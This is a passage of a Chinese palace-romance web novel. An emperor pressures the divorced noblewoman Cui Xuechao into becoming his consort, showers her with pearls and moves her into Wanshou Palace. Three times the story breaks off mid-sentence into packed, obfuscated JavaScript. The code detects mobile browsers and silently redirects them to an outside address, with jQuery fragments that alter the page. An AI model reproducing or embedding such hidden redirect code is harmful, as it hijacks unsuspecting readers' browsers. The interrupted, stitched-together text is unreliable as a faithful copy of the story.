听在耳中真是可恶,但心底深处连自己都没意识到那一点点的欣喜和悸动。 他不说话。 等她困惑地抬起惊鸿眼,顺势提了宫灯在自己面前,想来如此无措的场景下,她对他的长相能有入梦般的深刻记忆吧。 果然,她眼里荡起疑惑,像只修炼多年的小狐狸初入人世,歪歪脑袋,两眼睁成天上的满月样子,溢出一个含糊不明的‘嗯?’。 有些可爱。 他心说。 “陛下!” “臣女给陛下请安!” 她认出他是谁的刹那,慌了手脚噗通跪在地上,“臣女崔氏不知是陛下前来,无意冒犯天颜,臣女有罪。” 袁望抬步上阶,想伸手去搀扶,她却躲瘟似地直往后蹿,生怕挨上一点。 “起来回话。”他无奈道。 她迟疑了下才站起,却不肯站直,从他这个角度,红的襟口绿的绸带,雪白的山谷里春色一览无余。 “你站直身子说话。” 他不自在地偏开半步。 静默片刻,一时无话。 崔雪朝鼓点的心跳在一呼一吸间终于重回人间,脑海中回闪过帝王在宫灯照耀下阴鸷的五官,恨不能以身投湖。 “崔大姑娘在等人?” 崔雪朝满身的血凉了半截,“回陛下的话,臣女只是......” “说实话!” 她闭了闭眼,想起内宫秀女们下晌说闲话上夜便遭惩戒,老老实实道:“臣女是在等安勇侯。” “等他做什么?” 她难堪却只能坦诚:“臣女与魏侯爷相约,是为私情。” 陛下冷哼一声,想来很不屑她没有廉耻竟绕过家中长辈自己给自己促摸汉子吧。可她有她的不得已,今晚是最后机会,等明日启程回宫,五日后的秀女终选结束,她的命运悬在丝上,实在难安。 “臣女胆大妄为,请陛下治罪。” 心里委屈,嘴上却要屈服,这就是世间的法则。 下晌发现她三心二意,一边钓着宫妃想做,另一头又缠上安勇侯做后手。 袁望恨得咬牙切齿,赞她真是好手段! 这时自然要当面戳穿此女狡猾心肠,“安勇侯乃朕肱骨,为朝堂立下汗马功劳。你且死了这份心吧。” 崔雪朝当下怔住,怀疑自己是不是听错了? 她小心翼翼地抬眼,天子和她以为的大不一样,昏暗的亭台催得他大成一座霉神仙,看向自己的目光中充斥着挑剔不满和嫌弃。 想起魏亭的话,陛下纡尊降贵把他请去,只为告诉魏亭自己曾婚嫁的往事以免他的臣子蒙受委屈。 日理万机的君王,和凡尘俗子一样,对女人过往有着如月湖般的偏见。偶然相遇,竟肯费辰光与她这个和离过的女人费口舌。 于是配合着摆出恭顺的姿态与神情:“臣女知错。” 肯认错就好,魏亭是错缘,正正经经的好人就在眼前且好好瞧瞧满不满意吧。 只是她怎么又垂下头颅,一闪而过的眸光中似乎染上了湿意。 ...哭了? 朕说什么了? 让她对魏亭死心,已经成了如此缠绵悱恻的痛? 是他太过疾言厉色? “你此举算不得是错。朕治大国,难道还容不下你进退取舍的小心思吗?” 袁望委屈自己学着魏亭平时的口吻,温声细语起来。 哪知这话说来是安慰她,自己反倒有种解脱的感觉,整晚蒙在心尖的阴翳有了松动,她的进退取舍自有道理,他高高在上,何必苛责呢? “你哭了?” 他取出袖间的锦帕递过去,“我也没说什么吧。” 崔雪朝没接这份隆恩,她不是外露的性情,今日不知怎么被一个眼神催得委屈,竟然还哭了! “湖间风大吹得眼睛疼,臣女并非是因陛下的话而哭。” 一掏自己手帕,不留神拽出另一个物什骨碌碌滚落在地上,还有清脆的响声。 她急忙去捡,横向里一只宽大的手掌越过她身前,飞快地把东西抢走。 “陛下,臣女......” “是你自己绣的荷包?” 袁望凑到灯前细致地前后翻看,深色荷包上用霜月色的丝线钩出一个雪花样的图案,边缘处缝了豆大的铃铛,精巧可爱玲珑秀致,解开系带蹙眉抖索几下,应是塞过草药有股清幽沁鼻的香,“有什么功效?” 崔雪朝:“......醒神。” 他整日为繁冗的奏折苦恼,内监常焚浓郁龙涎,一团一团把人都快腌入味了! “送给朕吧。”他自顾自往自己腰上拴好,“你的心意朕懂。” “在宫中不好吗?” 袁望不忘今日来的目的,兴师问罪已过,接下来得安抚住她善变的情,“五日后就是大册礼,你觉得贤这个封号如何?” 大大的不如何! 失了荷包的崔雪朝大惊失色,心说当皇帝要牺牲这么大,为了保全臣子不娶和离过的女人,就要自己赤膊上阵以身相抵吗? 人人都说后宫浑浊不堪,是这么个不堪法? 袁望见她容色巨变,料是她大喜过头了,又颇为表功起来:“朕的江山朕的后宫,封妃不必照着前朝的旧例,贤妃很配你的性情。” “陛下....”她语音颤颤俯身叩首:“臣女资质平庸且旧故在前,实在不堪入宫为妃,请您三思!!” 袁望听出她的真切,顿了下,“还是魏亭的缘故?得陇望蜀,有失淑女风范。” 崔雪朝一头雾水,得陇望蜀,望蜀可以解读成她欲得安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398473|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勇侯侯夫人之心,得陇作何解释? 乾元帝不怒自威,气场凛冽如配寒刃,杵在崔雪朝眼前一动不动。 得陇....陇是指陛下? 崔雪朝一头雾水:若没记错,她与新帝只短短见过三面吧??? 一面在高台与父亲崔荷同场回话,一面在今日林间,这会儿是第三面而已! 她预想事情哪里不对劲,“陛下,臣女不曾对您有过不该有的贪念和野心!臣女自进宫后深知已身残破,从不曾......” “适可而止吧。” 然而她的解释落在袁望耳中成了狡辩,“朕知晓你内敛自谦,谦逊过头便是惺惺作态矫揉造作了!那日当着众秀女对朕赞誉仰慕的人难道不是你?北麓溪边,你家中妹妹诋毁朕昔年往事,极力为朕澄清声名的难道不是你?”至于舍身救汉王一事,她不愿意让人知晓,袁望便通情达理地不表了。 “臣女可以解释......” 解释她对自己无情无爱吗? 袁望负手在后,其声之淡其音之丑陋:“亦或是你觉得朕昏聩配不上你的赞词?或是你崔家认可当日崔二姑娘的遣词,觉得朕不仁不义不孝不悌?” 言至此,崔雪朝突然顿悟。 什么得陇望蜀,她以为天子在谈男女私情,实则是新帝借力打力,前朝旧臣对他的忠心要靠进献家中女子来证明。 一切焦急慌张失态的表情消失在她面上。 前朝末帝逼着她做群芳首,像捕捉羸弱的羔羊逼她主动一步步走入陷阱,她宁死不屈,靠着崔家当年许多交情躲过一劫。 可时候不同了,那时百官知道末帝昏聩,仗义而为。眼下新帝恩威并施,父亲称陛下有中兴之政,自己册为后妃,旁人只会说天子吃了闷亏。 于是,她敛尽波澜,平静的面上只有谢恩。 “臣女叩谢陛下垂爱。” 宽宽的大袖随着她大礼施展在地上迤逦出圆满的痕迹。 分明是想要的答案,乾元帝敏锐地意识到有哪里不对劲。 可他从她脸上看不出分毫,背后的手掌蜷缩几下:“我是不是吓着你了?” 视朝时百官做派只需一眼就分辨,眼下处置他们彼此的真心真是好棘手呐。 思来想去,“贤妃是有些不像话,等一两年你我有了子嗣,再抬举你做贤贵妃,如何?” “谢陛下的恩典。” 她又俯首跪地谢恩,袁望要去搀她,却被避开,“于礼不合,臣女万不该承受。” 这和他想象中互通心意后的场景大相径庭。 袁望又有了心头被堵得喘不上气的感觉,不知如何继续下去。 浓云遮去朦胧月景,亭台的风突然泛起凉意,就连高大繁盛的绣绒树也在静夜中变得狰狞诡异。 景是无法赏了,袁望叹口气:“我送你回宴吧。” “有劳陛下。”她的口气不冷不热,和未来的贤字封号很相衬。 宫人提灯走在前,袁望刻意放慢脚步,想与她并肩走走,可惜不得行,她比他以为的还要抗拒,距离稍有拉近,立时就说惶恐,屈着身恨不能比宫人的腰还要矮。 月色本来美好,他来前特意换了宽泛的常服。 本以为月湖亭台赏树赏月,气氛恰好时,她或许能大着胆子依偎在自己怀里,柔软的臂膀亲昵地环住他劲瘦有力的腰身,他会说一句大胆但绝对护住她的身形,不叫外人瞧去她的美好。 现在呢,两个人之间隔着一条银河,他不敢靠近,她不肯亲昵。 究竟是哪里不对? 14. 第 14 章 远远瞧着她身影消失在殿内,沮丧和迷惘慢慢浮上心头。 童公公瞧见陛下蹙紧的眉峰,有些为主子着急:“您没跟崔大姑娘说清楚吗?” 良辰美景好机遇,怎么崔大姑娘一脸死气呢? “朕乃天子,朕要说清楚什么!” 乾元帝恶狠狠地剔眼什么都不懂的内监,“朕看你是不想活。”竟敢话音谴起自己的不对了。 童公公连忙给自己甩巴掌,过了会儿,见陛下神情好些,斟酌着言辞:“是不是崔大姑娘没能明白您的苦心?不然小人再去汤泉宫为陛下送些好物。南埠进贡的海东珠色泽极好,据说有暗室盈光的奇效,女儿家都喜欢珠宝,想来崔大姑娘也是如此。” 乾元帝:“海东珠?有多大?” 童公公:“有陛下您拳头那般大呢!” 乾元帝握着拳头比了比,不算太小,“送去吧,记得当着众人面送,偷偷摸摸的,旁人还以为朕不肯给她体面呢。” 童公公激动地狂点头,领着这等重任,去陛下私库珍重挑选,又让陛下亲自过了眼,而后煊赫浩大地打着锣敲着鼓,一路行经官眷住地,过百官议事行处,迈进汤泉宫的大门。 足有小儿头颅大的海珠一赏就是十颗! 小小的桌面摆不下还得暂时搁置在地上,等着宫人抬红箱来。 童公公一走,整个汤泉宫上下像是炸了马蜂窝。 崔荷嫉妒得嘴脸快歪了,酸不拉几道:“姐姐,你什么时候攀上陛下了?” 攀字多难听! 罗家姑娘剜她一眼,这是自家妹子能说出口的话? 看不见崔雪朝僵坐在凳上眼里的绝望都要溢出来了嘛。 她挥挥手把人撵走,又朝窗外看热闹的喊了一句‘仔细领事嬷嬷来罚你们’。 好不容易屋子安静下来,她给崔雪朝倒了一盏茶递过去,“你还好吧?” 崔雪朝苦笑不已:“这么名贵的东西赏下来,压得我快欢喜疯了,好得不能再好了。” 这是反话吧? 罗引素觉得她笑得比哭还难看,“后晌你不是还跟魏侯爷有说有笑嘛,一个大宴过去,怎么陛下相中了你?你也没献舞没弹琴呐。” 话音刚落,那又弹琴又献舞的当啷推开门闯了进来。 罗引素吓一大跳,捂着胸口瞪人:“有鬼追在你身后索命呐!” 高二姑娘看着屋中耀眼夺目的珍珠,憋了好久的泪终于流下来:“怎么是你!怎么是你!” “吼什么呀你,仔细领事嬷嬷来罚你去抄女训。” 罗引素把人扯进屋子,关上房门,“悄声些。” 高二姑娘往凳上一杵,猩红的眼珠子死死盯着崔雪朝:“你们崔家真是好手段!推一个傻头傻脑的靶子在外头挡箭,另外一个背地里狐媚惑主,臭不要脸!” “你才臭不要脸。” 罗引素没好气道:“大家都是秀女,光明正大凭本事争高低。你说别人手腕了得,怎么不看看自己仗着门庭有多耀武扬威?” 高二姑娘:“大册礼一后二妃三嫔四贵,她的妃位是板上钉钉的事儿!你爹是户部侍郎,我之下再无旁人能越过你去,你与她将来平起平坐,竟然帮着她说话?” 罗引素又是大白眼一翻:“天家什么时候姓高了?别以为你爹是首辅,你就能坐稳皇后之位,还连带着定我们这些人的位份。仔细操了不属于你的闲心,将来脸疼。” 高二姑娘气得倒仰,一时没能想出反驳之语。 再想争吵,秀女们的领事嬷嬷来了,领着好些宫人抬着红木箱笼,恭敬地给崔雪朝行礼:“您看这些东西是随着您回内宫呢,还是送回您家中待来日大典一并造册?” “送回家中吧。” 崔雪朝只觉乏累,敷衍了嬷嬷和宫人,外衣一扒,整个人摔进被窝一个混沌觉睡至天亮。 回宫的车马安排她一人独坐。 冰鉴驱散燥意,她懒洋洋地时睡时醒,中途休息,崔荷冲上马车,闷头闷脑地跪下,“阿朝姐姐,昨儿是我一时昏了头,求你看在咱们一家人的份上原谅我吧。” 崔雪朝抚着热乎乎的额头,觉得自己昨夜在湖边经历太过曲折,像是魇着了,怎么也挣不脱梦乡,“你有话快说,我身上乏累,没劲听你啰嗦。” 果然得了势的人惯会拿乔。 崔荷憋住不甘,吸吸鼻头往阿朝姐姐膝前靠:“姐姐,你帮帮我吧。” “怎么帮你呢?” 崔荷捂着脸哭:“那日父亲说的话你也听见了,我若是进不得宫,就要远嫁外地,一辈子见不到家人。姐姐,我知道自己不懂事,可我从来没把你当成外人,一直视若亲姐。姐姐,我才艺不出众又不是父亲亲生的,他不肯为我筹谋,我只能自己拼命。 众秀女中,崔家出了你一个妃位,再不会多册我。只求姐姐看在我苦苦哀求的份上,能帮我在陛下面前美言几句,不必妃嫔,只一个贵人我也愿意!” 她啰里啰嗦好一通,崔雪朝听得头大,竟失笑起来:“我不想进宫,你又非要进宫,莫不如你替了我吧?” 崔荷两个眼珠吊成对眼:“能行吗?” 蠢货。 崔雪朝让她下车,“趁着间隙,去寻你阿娘顺道问问父亲,只要他们应允,我就答应。” 崔荷乐颠颠地跑了。 宫人送来饭食,一贯什么都吃得很香的崔大姑娘这回分毫未动,宫人喊了几声,见无人应答,忙不迭推开车门。 这一看,吓得连滚带爬喊快来人! 平静的湖面一下落了巨石,溅起好大的声响。 未来后妃病得两颊滚烫,怎么也喊不醒。 陛下和太医从长长的队伍最前头赶了过来,没多久崔家家眷也闻风过来,随伺的秦妈妈和阿屏心急如焚,垫起脚抻长脖子往人堆里头看。 只看见马车大开,一个生得冷峻威严的男人缩在并不宽大的车厢内,细致又小心地揽着她家大姑娘的上身在怀里,眸光关切地盯着太医施针。 “那是陛下吗?” 秦妈妈问。 “噤声!” 崔大人喝住小声议论的下人,看向崔荷:“你不是说才见过阿朝嘛,怎么她方才不适你没看见吗?” 崔荷瘪嘴嘀咕:“她自己不说....” 赵柔娘急忙扯她袖子,让她快别浇火了。 那头太医行过针,昏着的人眼皮乱动撩起一道缝隙,眼前天旋地转直泛金星,又阖上眼陷入昏睡。 “怎么还不醒?” 太医:“回陛下,崔家姑娘玉体有损,小睡为宜。” “她是哪里病了?” 太医:“姑娘应是着了风寒,加之思虑过重,惊惧之下引发高热,臣这就开方配药。” 袁望不放心,让几个太医轮治,直到汤药一口口送进怀里人的唇舌,那颗悬在嗓子眼的心才落回原处。 第一要务自然要惩治下人。 “主子病成这样,拖至现在才发觉,留着你们有何用?” 除了送饭发现崔家长女异常的宫人,其余的全都发落处置干净替换了一波更谨慎放心的。 犹不放心,小小的马车实在不像话,他将人妥帖地护在怀里,凭着性子抱到自己的御车。 大如小屋的帝王驾舆稳如行在平地上,躺在锦被深处的姑娘一路睡到回宫。再睁眼时,世界清明,看着陌生的床榻,大致猜到自己身在何处,无力地长叹口气。 洪亮的辰晷打断她的幽叹,有脚步声传来,是耳熟的声音在吩咐宫人预备什么吃食,渐渐声音近了,高大雄伟的身影绕过八面锦绣屏风对上床榻上姑娘清亮乌黑的眼眸,像是意外,眼底闪过波光,古肃的板脸诡异地吊起笑弧:“醒了?身上好些了吗?” 崔雪朝恭顺地撑起上身,想下地,被内监半扶半搀地送回榻上垫着软枕坐好,“谢陛下垂问,臣女已大好。”顿了下:“臣女不敢沾用陛下圣物,现下大好,过会儿就能回锦绣宫。” 乾元帝只说不急不急,坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403805|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在圈椅上直勾勾地盯着她脸看。 寻常姑娘不说被男子盯着看半晌有多羞涩,至少也会不自在几分。 可崔家教女实在厉害,天子坐于身侧,面不改色稳如泰山,没有一点变化,仿佛身前锦被上的纹绣活了,人家看得入神不理俗世。 童公公心底敬佩不已,这气度这耐性,合该能得陛下青眼。 乾元帝灵光一闪。 恰是这份让人挪不开眼的沉稳,是她最真实最直接的消极对抗。 心不在他身上,也就不在乎他做什么。 “南埠进贡的海东珠,你喜欢吗?” “陛下隆恩,臣女惶恐,海东珠乃御赐之物,臣女喜不自胜。” 喜不自胜的姑娘连个笑脸都不肯给他。 乾元帝懊丧不已,不喜欢她这样死气沉沉,想看她与诸位秀女提及自己时眼眸中的盛光,想听她提及新帝时话音中细渺的怜爱和心疼。 “你爱吃肉脯,朕让人预备了些,要不要尝尝?” 这话终于惹来她抬眼,许是意外他怎么知晓她的喜好,不过情绪很快藏得干净,嘴唇绷得紧紧:“陛下大约记错了,臣女不爱吃肉脯。” 轻拿不得,重放坏事,只好旧话重提博个生机。 “你是不是不愿意当朕的后妃?” “陛下多虑了,臣女不敢。” “你还是想做安勇侯的夫人?” “陛下多虑了,臣女不敢。” 袁望循循善诱:“没事,你有什么直说,朕不生气。” 可她清凌凌的眸光仿佛利成箭,一下看穿他的谎言。 “臣女不敢撒谎。” 这等伏低做小的事情自己果然并不擅长。 长舒口气,乾元帝大马金刀地跨开长腿,扯着圈椅靠在榻前,近到透过窗棂斜落的夕阳映照,能看清她肌肤上的小绒毛。 “你同屋的罗家姑娘交代得干净,朕知道你的打算。” “魏亭也不见得你有多喜欢,朕说的对吗?” 如愿引来崔雪朝的瞩目,见她呼吸微乱,知道自己猜对了,她对魏亭不过是权宜之选,没有感情! 袁望的心咚咚无言加快,锋芒毕露,“御史辜大人的夫人说,你很伤怀崔大人正妻位置不再属于你母亲,真的吗?” 他是帝王,只要有心什么都瞒不过他。 崔雪朝:“陛下究竟想说什么?” 他越靠越近,高大的身影如乌云笼罩住她的身形,看她想躲又不敢躲,情急之下抬手推在他胸膛上。 小小的瞳仁里满满地终于只装下了一人,如狼似虎的眼追着她如瑰色的唇不休,“崔夫人去得惨烈,旁人若占了她的位置,实在该死!阿朝....” 脑海萦绕了整夜的名字终于唤出,袁望生出如愿以偿的满足,只是还不够,“阿朝,朕来帮你护住崔夫人的正妻之位,好不好?” 他引诱她的手抚上自己的脸颊,另一只手在她羸弱纤细的颈后慢慢施力迫她贴上来,其实没费多大力气,阿朝她是个心软的姑娘,心思全在他的话语中,忘了推拒忘了分寸。 让她看清自己眼底炙热的渴求,绯红漫上她的脸,柔软馨香的唇变得无比诱人,他吻了又吻,不敢太深入让她生出他不珍爱的误会,只能贴着唇角啄吻止渴,呢喃着告诉她‘这不是交易是真情换真情’。 崔雪朝浑浑噩噩地与他交换气息,及至回神,才发觉自己不知何时已经被他揉进怀里,粗粝的掌心摩挲着她的后颈引来一大片战栗。 她按捺住魂灵深处的恐惧和颤抖,耳畔是他克制依旧侵略感强烈的喘息,贴紧的两颗心咚咚汇成同样节奏。这一刻,他只是区别于她柔软的一具刚猛男躯,神智恍惚间被窗棂上的光晃得似乎看见了阿娘,她生命尽头时眼眸最后一点光执拗地望着门的方向,那一口气吊出九曲柔肠,临了,没能成愿。 就这样吧,没什么不好的。 她叹口气,像只受伤的小兽蜷在他温热的怀里,抬手主动揽上他的肩背。 15. 第 15 章 其实,他的话正正瞄对了自己的心思。 崔雪朝忍着腰上揉捏的力道,努力放软腰板让自己少些磋磨。颈后细嫩的皮肉感受他掌心粗粝的茧,他是文武双全的人,荤素不忌起来只剩武人的粗横。 每一次亲她唇肉,必要狠狠用力地磨着啃着不舍地吮含,是温情吗?崔雪朝清醒地不去沉沦,压下他如狼似虎不知餍足带起的作呕欲。 她抬手抚上他肩背的动作,似乎让他以为自己不再是自作多情。 他停下,望向她的眼,那里空寂聊赖,没有情爱,刚起的一腔火热嗤得挨了冰浇,他不敢再看她冷若冰霜的眼,剧烈起伏的胸膛慢慢平复下来,狼狈地把她放回床榻,狼狈地整整长衫,吩咐屏风外的内监传菜。 奶房签、三脆羹、沙鱼脍、皂角挺子、润兔、时令荷塘藕、雕花笋头... 童公公笑得两眼眯缝儿:“姑娘身子刚好,太医叮嘱近日不好太过荤腥,这几道菜是陛下早前留意到您爱吃的,特意吩咐膳房刚做的,您尝尝味道如何?” 试毒的内监一一验过,宫人布什么菜,崔雪朝便提箸小口吃着。 袁望看她眉眼平平,分辨不出口味究竟合不合她胃口,挥手让宫人退下,“我吃饭没有那么多规矩,你不必拘礼。” 对面的人道一声是,依旧没抬头看他。 片刻前她和他缠绵得密不可分,袁望以为两人有了飞一般的进展,这会儿食案两头清冷单调,她的心防还是一睹高耸入云的墙。 但他并不气馁。 至少进宫嫁给他于她有了实实在在的好处,万事开头难,他们越过最难的那一关,往后只会越过越好。 这毋庸置疑! “口味还习惯吗?” 崔雪朝顿了下筷子,囫囵咽下嘴里的兔肉,嘴角牵起一点笑痕:“膳房的手艺自然不俗,臣女吃着很好。” 笑是假的,话是真的。 袁望道一声赏,立在一旁的童公公笑吟吟地替膳房的人谢恩。 没人布菜,崔雪朝遵着宫规,每一道菜伸筷不过三次。 默默观察的天子看她吃什么,跟着伸筷子吃什么,几次之后,她眨眨眼,在放下筷子半饱和假装不知情吃个饱之间犹豫。 迟疑间,碗里突然多了一块白嫩的笋肉。 她抿了抿唇,低低说了声谢,送入口中。 时令的笋用鸡汤煨过,为清口还点了几滴香醋,口感爽脆,吃了一块,趁童公公与陛下回话的当口,又夹了一块。 袁望眼底露出笑意,听完童公公回禀的话,“让宫正仔细挑人,朕不希望万寿宫里外有一只不安分的眼睛。” 又问坐在对面的人,口吻跟话家常一般随意,“崔家常伺候你的下人已经进宫,是让她们来这处还是去万寿宫安置?” “是阿屏和秦妈妈?” 童公公点头。 崔雪朝想想:“我不回锦绣宫了吗?” “姑娘贵体,不必再回锦绣宫那等小地方。”童公公道:“万寿宫离陛下的通政殿很近,陛下已经吩咐宫人们拾掇过了。您搬过去先住几天,若是住得不习惯,大册礼之后,您看中哪个宫便住进哪个宫。” 崔雪朝不由看向乾元帝,他还是方才与她说话时的和煦,一点没因为内监的擅自做主而动怒。也或许内监本就是得了他的吩咐? “那就让她们先去万寿宫安置吧。” “嗳,奴才这就去传话。” 屋里沉默几许,又听他低沉的嗓音:“还要再吃点吗?我让膳房再送两道菜?” “宫人回禀过,说你食量不小。” 哪有当着姑娘面说人家真能吃的? 可惜童公公不在,不然又要叹一口气。 崔雪朝尴尬地摇头:“臣女已经吃饱了。” 铺摆一桌子的饭食还剩大半,其实她习惯每顿饭按分量预备,曾经吃过饿肚子的苦头,日子好起来,觉得浪费食物很不应该。 只是身在内廷,铺张浪费某种程度也是王朝兴盛的迹象。 “那再等我吃几口。” 袁望盘算她吃过的东西,虽不如平时多,七八分饱也差不多。 没有宫人伺候,他自己又拣了一碗蒸豆饭。倒不挑剔,盘子剩什么夹什么,吃得不慢却不粗俗,说行云流水那是作画,至少不是崔雪朝曾经见过的某些高门公子拿乔做作的再三敛袖捂嘴遮羞,恁得费劲! 他吃得很专心,一不小心她看得也很专心。 袁望不经意抬眼,注意到她再看,慢半拍地发觉自己表现得有点心急,“我平常吃饭并不这样,是怕你等着急了。” 她笑笑:“臣女不急。” 哦,反正他又恢复从前慢条斯理一口菜啃十次的端架子,“早年随军,军情多变,有时饭灶还没弄好,敌军就在出现在几里外。久而久之,吃相便难看些。” “一时还没改过来,你见谅。”袁望道。 崔雪朝不太习惯他交心,不知作何反应,只道陛下一切都好。 管她客套不客套,只要是夸他的话就行。 饭罢,袁望让出地方,不一会儿她换了衣衫出来,粉黛不施,依旧动人。 “方才吃得有点多,朕送你去万寿宫,顺带消消食。” 夕阳斜照快要隐人地平线,宫道石砖湮了一层淡淡的暖黄,不必撑起明黄的卤?,光在背后两人错开一肩,如同行走在光影中,身影投在地上时而挨一下碰一下,袁望看得很满意。 “陛下政事不忙吗?” 太黏人遭了嫌弃? “政事很忙。只是以前秀女一大堆,朕是怕你害怕不敢一个人走,加上消消食罢了。” 他打趣道:“你在关心朕?” “臣女不敢。” 长长地吸口气,很想阔步迎着风撒脚丫快跑,可惜他步子慢悠悠的,确如所言,一心一意消食呢。 她不肯承认她的关心,但他都懂。 反正她心甘情愿选择留下陪在自己身边,万事胜意,岁月美好可期。 “那时承诺帮你留住你亡母的正妻之位......” 崔雪朝喊他陛下,“此事臣女自有主张,还请您宽宥臣女归家时与家人好好商议。” 商议什么?这种事情就该杀伐果决,旨意颁发谁有异议拉出去四十大板! 袁望怕她心软,“还是朕帮你......” “陛下!” 好吧,也不必动气。 幽幽叹口气,要是这声喊法再绵软些再柔和些,她看着自己时眼神能再温柔几分,和撒娇有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410567|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么区别? “朕听你的。”他好声好气。 这哄法真叫人头皮发麻,幸而很快到了万寿宫。 万寿宫是前朝末帝最受宠爱的宫妃居所,建得格外富丽堂皇。两年前宫廷之乱曾起过大火,万寿宫倒没牵连,新帝入渽,小修之后,今日又迎来新的主人。 宫内地面铺着精雕细琢的云龙石砖,纹路蜿蜒沉稳,彰显皇家气派。暮色在琉璃窗淌出一片波光,正殿门端前的流云纹大鼎焚着水沉香,浓郁的气味一如帝王恩宠。 宫人跪了满院山呼请安,因另一位还没册封,只称作贵主。 崔雪朝看到跪在人群最前头的阿屏和秦妈妈,心稍安些。 “进去看看?” 崔雪朝应是,跟在陛下身后,见金丝璎珞蟠纹玉砖,鎏金的八锦屏喜上云天栩栩如生,蛟绫帐幔拔步床,一对儿云枕挤靠在百子千孙大红褥上,看得她心悬半空怕他留宿。 幸而乾元帝只是一一看过宫内摆设陈列,不曾有任何怠慢的,便要作别,“朝上还有些杂务要忙,你早些歇着吧。” 说完殷殷望着,希冀她能有出乎意外的亲近。 崔雪朝假做不知,屈个宫礼,送他到门上,一直垂着头颅蹲送他消失在宫门外才吐出老长一口气。 宫人内监全是照着妃制配了数,宫正监使一一介绍。 万寿宫的领事姑姑姓万,伺候过不少贵人,面相老实看不出旁的,至少这一刻恭敬有加。领事内监姓李,请安时许他的嗓门大,肉乎乎的脸眼角笑出好几层褶子,看着福态。 至于其他伺候茶水衣饰的宫人打个眼熟。 走完过场,宫正监使又问秦妈妈和阿屏的安排。 “我们往后都要在大姑娘身边的。”两人齐声。 崔雪朝点头,“秦妈妈和阿屏先跟在万姑姑跟前学宫里的规矩,差事照着她们从前在家里时的安排就行。” 如此,秦妈妈顶了万寿宫小厨房的管事姑姑,阿屏从前是贴身女使,依旧是贴身宫女给主子端茶递水传话办差。 场面过了,崔雪朝留下阿屏,不去看红彤彤的百子千孙被面,主仆两个整理从锦绣宫送来的行李。 乾元帝呢,心知不可太急,回望宫道空无一人,失望自然失望。 从前以为的爱意全都是他一厢情愿,人家根本没正眼看过自己。那又如何?不正说明她品行高洁不攀附富贵吗?感情不分先来后到,他先看上她不算坏事。 没提及崔夫人前,他们陷入僵局,她的认命悖逆本心,一场高热发出来吓得他慌了。 庆幸有崔夫人能撼动她的铁石心肠,至少有所图谋。 图谋他身为天子的威慑,细思,不就图谋他这个人吗? 越是如此,越明白真心如瑰宝。 至少听她对自己的评价,对他不厌恶。 不厌恶为起点,一路高歌猛进,直到她发狂地贪恋痴迷离不得自己,光是想想,灵魂深处就很愉悦。 来日方长! 欣喜做不得假。 万寿宫离他很近,抬舆两刻钟的功夫,走快些,他生得长腿有了效用的地方,一盏茶就能见到她。 “让宫里的小厨房备着随时好入口的吃食,上夜前送一回。” 童公公应是。 16. 第 16 章 回归通政殿,好似还能感受到她存在的气息,那些柔软的心绪不舍得拂去,握了一枚香梨,本要下口,突然觉得梨字不是好意头,换了香柑一边吃一边处理折本。 翻至某一本,乾元帝的手顿住。 童公公瞥见是陇右杨家的本,猜测莫不是北地又不太平。 结果是杞人忧天,杨家上本要进献本家女杨氏七姑娘入宫。 乾元帝问起汉王。 五岁的小殿下很乖,不曾抱怨赶路辛苦,出宫在他眼中是难得松闲的玩耍。回宫是回家,宫室内有他收藏诸多的宝贝,一别数天,也很想念。 乾元帝眼眸落回杨家折本,讥讽一哼。 几日后便是秀女采选的大册礼,内廷引入活水,杨家是担心汉王势孤无人依仗,送家中毁了婚约的姑娘入宫,好巩固汉王母家的势,免得汉王成了憾王。 仰着头看殿顶,想起他先头的夫人。 袁家治家严苛,尤其是他父亲荒淫一生致使家道没续上祖宗们的荣光后,家主袁公在教养孙子袁望一事上恪求苦德,未满二十不许房中出现女人一根头发丝。 袁望至二十,袁公在他加冠礼当夜送来两个开蒙暖床的使女。 当年清俊有加的公子哥正在案前处置产业中的某个贪墨管事,一抬眼,两个使女,一个脸上巴掌大乌青的胎记,另一个是对斗鸡眼。 袁公怕孙子沉迷女色,重病之际不忘选了两个绝色,想来儿子好色人生给他留下浓重的阴影,生怕孙子重蹈覆辙。 容色令孙子绝望,身段却玲珑有致,去头食用,亦是使命达成。 那晚,袁望摘了贪墨管事的头颅,使女送到父亲房帷,翌日不曾被赶走,也算不辜负袁公一番心意。 及至二十二,袁公开始给孙儿相看妻户。 当时末帝昏聩,天下四分五裂,河东起兵只差一口气。 陇右杨家与河东袁氏隔渭水而治,联姻结亲聚兵伐乱。 成亲当晚,新娘盖头揭下,是一张糊满铅粉胭脂的脸。 洗尽铅华,袁公松口气,此等样貌不足为虑。 